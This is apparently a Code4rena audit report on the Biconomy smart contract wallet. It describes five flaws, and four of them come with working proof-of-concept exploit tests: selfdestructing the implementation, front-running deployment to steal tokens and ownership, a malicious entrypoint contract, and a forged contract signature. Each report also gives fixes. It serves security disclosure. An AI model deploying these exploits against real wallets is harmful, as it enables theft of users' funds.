Biconomy - Smart Contract Wallet contest - hihen's results

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L166-L176

Vulnerability details

Impact

All assets in all the deployed smart contract wallets will be frozen. All the deployed contract wallets will be unusable, all the contract functions is lost, they will all behave like an EOA account without a private key.

Proof of Concept

Every scw contract is a Proxy, and all actual functions are implemented by the implemention contract - SmartAccount. If the implemention contract is destroyed(selfdestruct), all of these scw(proxy contracts) will not work, they will all behave like an EOA account without a private key.

A malicious user can destroy the implemention contract - SmartAccount in the following ways:

1. Call SmartAccount.init() of the implemention contract directly with forged parameters.
2. Call execFromEntryPoint or execTransaction or execTransactionFromModule to trigger Executor.execute() to delegatecall a malicious contract X.fun().
3. X.fun() will invoke selfdestruct, and since this is a delegatecall, it will cause the implemention contract (the SmartAccount contract itself) to be destroyed.

A similar vulnerability in aave v2 upgrade.

Test code for PoC:

diff --git a/scw-contracts/contracts/smart-contract-wallet/test/Destructor.sol b/scw-contracts/contracts/smart-contract-wallet/test/Destructor.sol
new file mode 100644
index 0000000..62238de
--- /dev/null
+++ b/scw-contracts/contracts/smart-contract-wallet/test/Destructor.sol
@@ -0,0 +1,15 @@
+// SPDX-License-Identifier: MIT
+pragma solidity 0.8.12;
+
+contract Destructor {
+    address immutable public self;
+
+    constructor() {
+        self = address(this);
+    }
+
+    function destruct() external {
+        require(address(this) != self, "not delegate call");
+        selfdestruct(payable(address(0x0)));
+     }
+}
\ No newline at end of file
diff --git a/scw-contracts/test/smart-wallet/testGroup1.ts b/scw-contracts/test/smart-wallet/testGroup1.ts
index cb006f1..31b5336 100644
--- a/scw-contracts/test/smart-wallet/testGroup1.ts
+++ b/scw-contracts/test/smart-wallet/testGroup1.ts
@@ -143,6 +143,51 @@ describe("Base Wallet Functionality", function () {
     });
   });
 
+  it.only("Attack: selfdestruct the SmartAccount", async function () {
+    const user = accounts[1];
+    const userAddr = await user.getAddress();
+    const scwAddr = await walletFactory.getAddressForCounterfactualWallet(userAddr, 0);
+    await walletFactory.connect(user).deployCounterFactualWallet(userAddr, entryPoint.address, handler.address, 0);
+    const scw = await ethers.getContractAt(
+      "contracts/smart-contract-wallet/SmartAccount.sol:SmartAccount",
+      scwAddr
+    );
+    await user.sendTransaction({to: scw.address, value: ethers.utils.parseEther("20")});
+
+    const attacker = accounts[2];
+    const attackerAddr = await attacker.getAddress();
+    //! prepare attack contract - Destructor
+    const DestructorFactory = await ethers.getContractFactory("Destructor");
+    const destructor = await DestructorFactory.connect(attacker).deploy();
+    await destructor.deployed();
+
+    // Impl contract is a valid contract before attack
+    expect((await ethers.provider.getCode(baseImpl.address)).length > 0);
+    // SmartWallet is working before attack
+    expect(await scw.owner()).to.equal(userAddr);
+    expect(await scw.entryPoint()).to.equal(entryPoint.address);
+    // Transfer 10 ETH from scw to user
+    expect(await ethers.provider.getBalance(scw.address)).to.equal(ethers.utils.parseEther("20"));
+    await scw.connect(user).transfer(userAddr, ethers.utils.parseEther("10"));
+    expect(await ethers.provider.getBalance(scw.address)).to.equal(ethers.utils.parseEther("10"));
+
+    //! Init the Impl contract maliciously
+    await baseImpl.connect(attacker).init(attackerAddr, attackerAddr, handler.address);
+    //! Kill the SmartWallet impl
+    const data = DestructorFactory.interface.encodeFunctionData("destruct", []);
+    await baseImpl.connect(attacker).execFromEntryPoint(destructor.address, 0, data, 1, 100000);
+
+    //! SmartWallet impl is killed, code is deleted
+    expect(await ethers.provider.getCode(baseImpl.address)).to.equal("0x");
+    //! SmartWallet will not work after being attacked
+    await expect(scw.owner()).to.be.reverted;
+    await expect(scw.entryPoint()).to.be.reverted;
+    //! Transfer 10 ETH will do nothing. Any other callings will not work either
+    expect(await ethers.provider.getBalance(scw.address)).to.equal(ethers.utils.parseEther("10"));
+    await scw.connect(user).transfer(userAddr, ethers.utils.parseEther("10"));
+    expect(await ethers.provider.getBalance(scw.address)).to.equal(ethers.utils.parseEther("10"));
+  });
+
   // Transactions
   it("Should send basic transactions from SCW to external contracts", async function () {
     console.log("sending tokens to the safe..");

Tools Used

VS Code

Recommended Mitigation Steps

1. Restrict Executor.execute() to be called only through delegatecall.
2. Protect the Smartwallets from malicious initializing as recommended in the Initializable contract:

/*
 * [CAUTION]
 * ====
 * Avoid leaving a contract uninitialized.
 *
 * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
 * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke
 * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:
 *
 * [.hljs-theme-light.nopadding]
 *
 * /// @custom:oz-upgrades-unsafe-allow constructor
 * constructor() {
 *     _disableInitializers();
 * }
 */

3. Set a default owner in constructor

Implementation:

diff --git a/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol b/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol
index c4f69a8..6ca9cab 100644
--- a/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol
+++ b/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol
@@ -158,6 +158,10 @@ contract SmartAccount is
         return nonces[batchId];
     }
 
+    constructor() {
+        _disableInitializers();
+        owner = msg.sender;
+    }
 
     // init
     // Initialize / Setup
diff --git a/scw-contracts/contracts/smart-contract-wallet/base/Executor.sol b/scw-contracts/contracts/smart-contract-wallet/base/Executor.sol
index d5b942f..e7a6de4 100644
--- a/scw-contracts/contracts/smart-contract-wallet/base/Executor.sol
+++ b/scw-contracts/contracts/smart-contract-wallet/base/Executor.sol
@@ -5,10 +5,16 @@ import "../common/Enum.sol";
 
 /// @title Executor - A contract that can execute transactions
 contract Executor {
+    address private immutable executorSingleton;
+
     // Could add a flag fromEntryPoint for AA txn
     event ExecutionFailure(address to, uint256 value, bytes data, Enum.Operation operation, uint256 txGas);
     event ExecutionSuccess(address to, uint256 value, bytes data, Enum.Operation operation, uint256 txGas);
 
+    constructor() {
+        executorSingleton = address(this);
+    }
+
     // Could add a flag fromEntryPoint for AA txn
     function execute(
         address to,
@@ -17,6 +23,8 @@ contract Executor {
         Enum.Operation operation,
         uint256 txGas
     ) internal returns (bool success) {
+        require(address(this) != executorSingleton, "Executor should only be called via delegatecall");
+
         if (operation == Enum.Operation.DelegateCall) {
             // solhint-disable-next-line no-inline-assembly
             assembly {

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L174

Vulnerability details

Impact

Attackers can steal assets from any undeployed scw, just like the Optimism exploit - 20 Million OP tokens stolen. Attackers can call any function of any other contract from/as the scw, like stealing the ownership of other contracts, etc.

Proof of Concept

If an undeployed scw address has assets or special privileges, an attacker can use the following steps to call other contracts as the scw to steal assets or exploit the special privileges:

1. Call deployCounterFactualWallet or deployWallet to deploy the scw with the target contract(e.g. a token contract address T) as the _handler

Multiple calls may be required for deployWallet to raise the factory nonce to the target value

2. Call the deployed scw (proxy) with the function in the target contract(e.g. approve of the token contract), which will cause the scw to call the target contract(e.g. T.approve) through FallbackManager.fallback().
3. For the token contract T, the attacker will be able to drain all tokens in the scw by T.transferFrom().

Test code for POC:

diff --git a/scw-contracts/test/smart-wallet/testGroup1.ts b/scw-contracts/test/smart-wallet/testGroup1.ts
index cb006f1..357f4de 100644
--- a/scw-contracts/test/smart-wallet/testGroup1.ts
+++ b/scw-contracts/test/smart-wallet/testGroup1.ts
@@ -24,6 +24,7 @@ import {
   executeContractCallWithSigners,
 } from "../../src/utils/execution";
 import { buildMultiSendSafeTx } from "../../src/utils/multisend";
+import { MaxUint256 } from "@ethersproject/constants";
 
 describe("Base Wallet Functionality", function () {
   // TODO
@@ -98,6 +99,71 @@ describe("Base Wallet Functionality", function () {
     await token.mint(owner, ethers.utils.parseEther("1000000"));
   });
 
+  it.only("Attack: front-running deploy SCW to steal tokens", async function () {
+    const victim = accounts[1];
+    const victimAddr = await victim.getAddress();
+    const amt100 = ethers.utils.parseEther("100");
+    await token.connect(accounts[0]).transfer(victim.address, amt100);
+    const scwAddr = await walletFactory.getAddressForCounterfactualWallet(victimAddr, 0);
+    await token.connect(victim).transfer(scwAddr, amt100);
+    expect(await token.balanceOf(scwAddr)).to.equal(amt100);
+
+    const attacker = accounts[2];
+    const attackerAddr = await accounts[2].getAddress();
+    //! front-running deploy the user's SCW with a forged handler
+    await expect(
+      walletFactory.connect(attacker).deployCounterFactualWallet(
+        victimAddr,
+        entryPoint.address,
+        //! use token address instead of default handler
+        token.address,
+        0
+      )
+    )
+      .to.emit(walletFactory, "SmartAccountCreated")
+      .withArgs(scwAddr, baseImpl.address, victimAddr, VERSION, 0);
+
+    const fallbackToken = (await ethers.getContractFactory("MockToken")).attach(scwAddr);
+    //! steal tokens by the forged fallback handler
+    await fallbackToken.connect(attacker).approve(attackerAddr, MaxUint256);
+    await token.connect(attacker).transferFrom(scwAddr, attackerAddr, amt100);
+    //! attacker stole the tokens
+    expect(await token.balanceOf(scwAddr)).to.equal(0);
+    expect(await token.balanceOf(attackerAddr)).to.equal(amt100);
+  });
+
+  it.only("Attack: front-running deploy SCW to steal ownership", async function () {
+    const victim = accounts[1];
+    const victimAddr = await victim.getAddress();
+    const scwAddr = await walletFactory.getAddressForCounterfactualWallet(victimAddr, 0);
+
+    const dao = await (await ethers.getContractFactory("Button")).connect(victim).deploy();
+    await dao.connect(victim).transferOwnership(scwAddr);
+    expect(await dao.owner()).to.equal(scwAddr);
+
+    //! attacker steals the tokens
+    const attacker = accounts[2];
+    const attackerAddr = await accounts[2].getAddress();
+    //! front-running deploy the user's SCW with a forged handler
+    await expect(
+      walletFactory.connect(attacker).deployCounterFactualWallet(
+        victimAddr,
+        entryPoint.address,
+        //! use the dao address instead of default handler
+        dao.address,
+        0
+      )
+    )
+      .to.emit(walletFactory, "SmartAccountCreated")
+      .withArgs(scwAddr, baseImpl.address, victimAddr, VERSION, 0);
+
+    const fallbackDao = (await ethers.getContractFactory("Button")).attach(scwAddr);
+    //! steal DAO ownership by the forged fallback handler
+    await fallbackDao.connect(attacker).transferOwnership(attackerAddr);
+    //! attacker stole the DAO ownership
+    expect(await dao.owner()).to.equal(attackerAddr);
+  });
+
   // describe("Wallet initialization", function () {
   it("Should set the correct states on proxy", async function () {
     const expected = await walletFactory.getAddressForCounterfactualWallet(

Tools Used

VS Code

Recommended Mitigation Steps

One of the following three options can be used:

1. Do not set the fallback handler in SmartAccount.init()
2. Set a public known DefaultCallbackHandler as the handler automatically in SmartAccount.init().
3. Set a public known DefaultCallbackHandler as the handler by default in SmartAccount.init(), and a supplied custom handler is allowed if msg.sender == owner.

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L166-L176 https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L33 https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L53

Vulnerability details

Impact

Any SCW(smart contract wallet) can be hacked by deploying it (or front-running deployment), the hacker will be able to become the owner and have complete control over it. All funds in all undeployed SCWs can be stolen.

Proof of Concept

When deploying an SCW through deployCounterFactualWallet or deployWallet, the deployer (msg.sender) can provide any address as its entrypoint.

If an attacker deploys someone else's SCW using a malicious contract as the entrypoint, he will be able to control the SCW completely through that malicious entrypoint (e.g. take the ownership of the SCW).

For example, an attacker (address X) wants to steal an SCW (address scw) which should have been belonged to a victim (address V) after deployment:

1. X calls deployCounterFactualWallet(address _owner, address _entryPoint, address _handler, uint _index) with parameters: owner = V, _entryPoint = X.

This tx will deploy the SCW(proxy) with owner V and fake entrypoint X.

2. X calls execFromEntryPoint(address dest, uint value, bytes calldata func, Enum.Operation operation, uint256 gasLimit) to the deployed SCW (proxy) with parameters: dest = scw, func = setOwner(X).

This tx will change the owner of the scw from V to X.

Test code for PoC (use a customized attack contract - Hack.sol to perform the attack):

diff --git a/scw-contracts/contracts/smart-contract-wallet/test/Hack.sol b/scw-contracts/contracts/smart-contract-wallet/test/Hack.sol
new file mode 100644
index 0000000..be25fc2
--- /dev/null
+++ b/scw-contracts/contracts/smart-contract-wallet/test/Hack.sol
@@ -0,0 +1,55 @@
+// SPDX-License-Identifier: MIT
+pragma solidity 0.8.12;
+
+import "../common/Enum.sol";
+import "@openzeppelin/contracts/access/Ownable.sol";
+
+interface ISmartAccountFactory {
+    function deployCounterFactualWallet(
+        address _owner, address _entryPoint, address _handler, uint _index
+    ) external returns(address proxy);
+
+    function deployWallet(
+        address _owner, address _entryPoint, address _handler
+    ) external returns(address proxy);
+}
+
+interface ISmartAccount {
+    function execFromEntryPoint(
+        address dest, uint value, bytes calldata func, Enum.Operation operation, uint256 gasLimit
+    ) external returns (bool success);
+}
+
+contract Hack is Ownable {
+    ISmartAccountFactory public factory;
+
+    constructor(ISmartAccountFactory _factory) {
+        factory = _factory;
+    }
+
+    function hackCounterFactualWallet(address originOwner, address handler, uint index) external onlyOwner {
+        //! deploy the scw with Hack itself as the entrypoint
+        ISmartAccount wallet = ISmartAccount(
+            factory.deployCounterFactualWallet(originOwner, address(this), handler, index)
+        );
+        //! hack the scw
+        hack(wallet);
+    }
+
+    function hackWallet(address originOwner, address handler) external onlyOwner {
+        //! deploy the scw with Hack itself as the entrypoint
+        ISmartAccount wallet = ISmartAccount(
+            factory.deployWallet(originOwner, address(this), handler)
+        );
+        //! hack the scw
+        hack(wallet);
+    }
+
+    function hack(ISmartAccount wallet) internal {
+        //! steal the ownership of the scw
+        bytes memory func = abi.encodeWithSignature("setOwner(address)", msg.sender);
+        //! The scw is completely under control.
+        //! We can make the scw to call/delegatecall any function of any contract (including the scw itself)
+        wallet.execFromEntryPoint(address(wallet), 0, func, Enum.Operation.Call, gasleft());
+    }
+}
\ No newline at end of file
diff --git a/scw-contracts/test/smart-wallet/testGroup1.ts b/scw-contracts/test/smart-wallet/testGroup1.ts
index cb006f1..7ebc70b 100644
--- a/scw-contracts/test/smart-wallet/testGroup1.ts
+++ b/scw-contracts/test/smart-wallet/testGroup1.ts
@@ -24,6 +24,7 @@ import {
   executeContractCallWithSigners,
 } from "../../src/utils/execution";
 import { buildMultiSendSafeTx } from "../../src/utils/multisend";
+import { MaxUint256 } from "@ethersproject/constants";
 
 describe("Base Wallet Functionality", function () {
   // TODO
@@ -98,6 +99,40 @@ describe("Base Wallet Functionality", function () {
     await token.mint(owner, ethers.utils.parseEther("1000000"));
   });
 
+  it.only("Attack: steal scw by front-running deploying", async function () {
+    const victim = accounts[1];
+    const victimAddr = await victim.getAddress();
+    const victimSCW = await walletFactory.getAddressForCounterfactualWallet(victimAddr, 0);
+
+    const attacker = accounts[2];
+    const attackerAddr = await accounts[2].getAddress();
+
+    //! Prepare the Hack contract
+    const HackFactory = await ethers.getContractFactory("Hack");
+    const hack = await HackFactory.connect(attacker).deploy(walletFactory.address);
+    await hack.deployed();
+
+    //! HACK: front-running deploy the victim's scw and change the owner
+    await expect(
+      hack.connect(attacker).hackCounterFactualWallet(
+        victimAddr,
+        handler.address,
+        0
+      )
+    )
+      .to.emit(walletFactory, "SmartAccountCreated")
+      .withArgs(victimSCW, baseImpl.address, victimAddr, VERSION, 0);
+
+    const scw = await ethers.getContractAt(
+      "contracts/smart-contract-wallet/SmartAccount.sol:SmartAccount",
+      victimSCW
+    );
+
+    //! The attacker becomes the owner of the scw
+    expect(await scw.owner()).to.equal(attackerAddr);
+    expect(await scw.owner()).to.not.equal(victimAddr);
+  });
+
   // describe("Wallet initialization", function () {
   it("Should set the correct states on proxy", async function () {
     const expected = await walletFactory.getAddressForCounterfactualWallet(

Tools Used

VS Code

Recommended Mitigation Steps

Use a public EntryPoint contract as the default entrypoint in deployCounterFactualWallet and deployWallet. A custom entrypoint should be allowed only if msg.sender == owner.

Implementation:

diff --git a/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol b/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol
index be78c75..2d750dd 100644
--- a/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol
+++ b/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol
@@ -6,6 +6,7 @@ import "./BaseSmartAccount.sol";

 contract SmartAccountFactory {
     address immutable public _defaultImpl;
+    address immutable public _defaultEntryPoint;

     // EOA + Version tracking
     string public constant VERSION = "1.0.2";
@@ -14,9 +15,11 @@ contract SmartAccountFactory {
     // review need and impact of this update wallet -> account
     mapping (address => bool) public isAccountExist;

-    constructor(address _baseImpl) {
+    constructor(address _baseImpl, address _entryPoint) {
         require(_baseImpl != address(0), "base wallet address can not be zero");
+        require(_entryPoint != address(0), "default EntryPoint address can not be zero");
         _defaultImpl = _baseImpl;
+        _defaultEntryPoint = _entryPoint;
     }

     // event SmartAccountCreated(address indexed _proxy, address indexed _implementation, address indexed _owner);
@@ -31,6 +34,11 @@ contract SmartAccountFactory {
      * @param _index extra salt that allows to deploy more wallets if needed for same EOA (default 0)
      */
     function deployCounterFactualWallet(address _owner, address _entryPoint, address _handler, uint _index) public returns(address proxy){
+        if (_entryPoint == address(0x0)) {
+            _entryPoint = _defaultEntryPoint;
+        } else if (_entryPoint != _defaultEntryPoint) {
+            require(msg.sender == _owner, "Only the owner can use a custom EntryPoint");
+        }
         bytes32 salt = keccak256(abi.encodePacked(_owner, address(uint160(_index))));
         bytes memory deploymentData = abi.encodePacked(type(Proxy).creationCode, uint(uint160(_defaultImpl)));
         // solhint-disable-next-line no-inline-assembly
@@ -51,6 +59,11 @@ contract SmartAccountFactory {
      * @param _handler fallback handler address
     */
     function deployWallet(address _owner, address _entryPoint, address _handler) public returns(address proxy){
+        if (_entryPoint == address(0x0)) {
+            _entryPoint = _defaultEntryPoint;
+        } else if (_entryPoint != _defaultEntryPoint) {
+            require(msg.sender == _owner, "Only the owner can use a custom EntryPoint");
+        }
         bytes memory deploymentData = abi.encodePacked(type(Proxy).creationCode, uint(uint160(_defaultImpl)));
         // solhint-disable-next-line no-inline-assembly
         assembly {

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L314-L343

Vulnerability details

Impact

All funds in all SCWs (smart contract wallets) can be stolen. Attackers can become the owner of any scw. Attackers can control any scw, execute any function of the smart accounts.

Proof of Concept

Because the SmartAccount.checkSignatures() does not check whether the _signer is the owner for contract signatures, any contract that implements ISignatureValidator can be validated.

Therefore, an attacker only needs to deploy a contract that implements ISignatureValidator, and then can control any scw by calling execTransaction with a forged signature of contract signature type.

Test code for PoC:

diff --git a/scw-contracts/contracts/smart-contract-wallet/test/Validator.sol b/scw-contracts/contracts/smart-contract-wallet/test/Validator.sol
new file mode 100644
index 0000000..5daae7a
--- /dev/null
+++ b/scw-contracts/contracts/smart-contract-wallet/test/Validator.sol
@@ -0,0 +1,9 @@
+// SPDX-License-Identifier: MIT
+pragma solidity 0.8.12;
+
+contract Validator {
+    bytes4 internal constant EIP1271_MAGIC_VALUE = 0x20c13b0b;
+    function isValidSignature(bytes memory _data, bytes memory _signature) public view virtual returns (bytes4) {
+        return EIP1271_MAGIC_VALUE;
+    }
+}
\ No newline at end of file
diff --git a/scw-contracts/test/smart-wallet/testGroup1.ts b/scw-contracts/test/smart-wallet/testGroup1.ts
index cb006f1..de6d820 100644
--- a/scw-contracts/test/smart-wallet/testGroup1.ts
+++ b/scw-contracts/test/smart-wallet/testGroup1.ts
@@ -98,6 +98,58 @@ describe("Base Wallet Functionality", function () {
     await token.mint(owner, ethers.utils.parseEther("1000000"));
   });
 
+  it.only("Attack: anyone can control any scw", async function () {
+    const user = accounts[1];
+    const userAddr = await user.getAddress();
+    const scwAddr = await walletFactory.getAddressForCounterfactualWallet(userAddr, 0);
+    await walletFactory.connect(user).deployCounterFactualWallet(userAddr, entryPoint.address, handler.address, 0);
+    const scw = await ethers.getContractAt(
+      "contracts/smart-contract-wallet/SmartAccount.sol:SmartAccount",
+      scwAddr
+    );
+    expect(await scw.owner()).to.equal(userAddr);
+
+    const attacker = accounts[2];
+    const attackerAddr = await attacker.getAddress();
+
+    //! Deploy a Validator contract
+    const ValidatorFactory = await ethers.getContractFactory("Validator");
+    const validator = await ValidatorFactory.connect(attacker).deploy();
+    await validator.deployed();
+
+    const SmartAccountFactory = await ethers.getContractFactory("SmartAccount");
+    const transaction: Transaction = {
+      to: scwAddr,
+      value: 0,
+      data: SmartAccountFactory.interface.encodeFunctionData("setOwner", [attackerAddr]),
+      operation: 0,
+      targetTxGas: 0,
+    };
+    const refundInfo: FeeRefund = {
+      baseGas: 0,
+      gasPrice: 0,
+      tokenGasPriceFactor: 0,
+      gasToken: ethers.constants.AddressZero,
+      refundReceiver: ethers.constants.AddressZero,
+    };
+
+    //! Forge a contract signature
+    const signature = "0x"
+        + validator.address.substring(2).padStart(64, "0") // r: bytes32(validator address)
+        + "0000000000000000000000000000000000000000000000000000000000000041" // s: bytes32(65)
+        + "00" // v: 0
+        + "0000000000000000000000000000000000000000000000000000000000000000"; // contractSignature: bytes32(0)
+
+    //! The attacker can call any function of the scw successfully by the forged signature
+    await expect(
+      scw.connect(attacker).execTransaction(transaction, 0, refundInfo, signature)
+    ).to.emit(scw, "ExecutionSuccess");
+
+    //! The attacker becomes the owner of the scw
+    expect(await scw.owner()).to.equal(attackerAddr);
+    expect(await scw.owner()).to.not.equal(userAddr);
+  });
+
   // describe("Wallet initialization", function () {
   it("Should set the correct states on proxy", async function () {
     const expected = await walletFactory.getAddressForCounterfactualWallet(

Tools Used

VS Code

Recommended Mitigation Steps

Validate the _signer for contract signature type in SmartAccount.checkSignatures():

Implementation:

diff --git a/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol b/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol
index c4f69a8..16622ab 100644
--- a/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol
+++ b/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol
@@ -340,6 +340,7 @@ contract SmartAccount is
                     contractSignature := add(add(signatures, s), 0x20)
                 }
                 require(ISignatureValidator(_signer).isValidSignature(data, contractSignature) == EIP1271_MAGIC_VALUE, "BSA024");
+            require(_signer == owner, "INVALID_SIGNER");
         }
         else if(v > 30) {
             // If v > 30 then default va (27,28) has been adjusted for eth_sign flow

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L460-L461 https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L465-L466

Vulnerability details

Impact

Neither SmartAccount.execute() nor SmartAccount.executeBatch() can be called successfully by EntryPoint.

Proof of Concept

Both SmartAccount.execute() and SmartAccount.executeBatch() are designed to be allowed to be called by the entryPoint or the owner. However, they are all marked as onlyOwner, resulting in only the owner being able to call them successfully:

function execute(address dest, uint value, bytes calldata func) external onlyOwner{
    _requireFromEntryPointOrOwner();
    ...
}

function executeBatch(address[] calldata dest, bytes[] calldata func) external onlyOwner{
    _requireFromEntryPointOrOwner();
    ...
}

Tools Used

VS Code

Recommended Mitigation Steps

Should remove the onlyOwner modifier from both the two functions.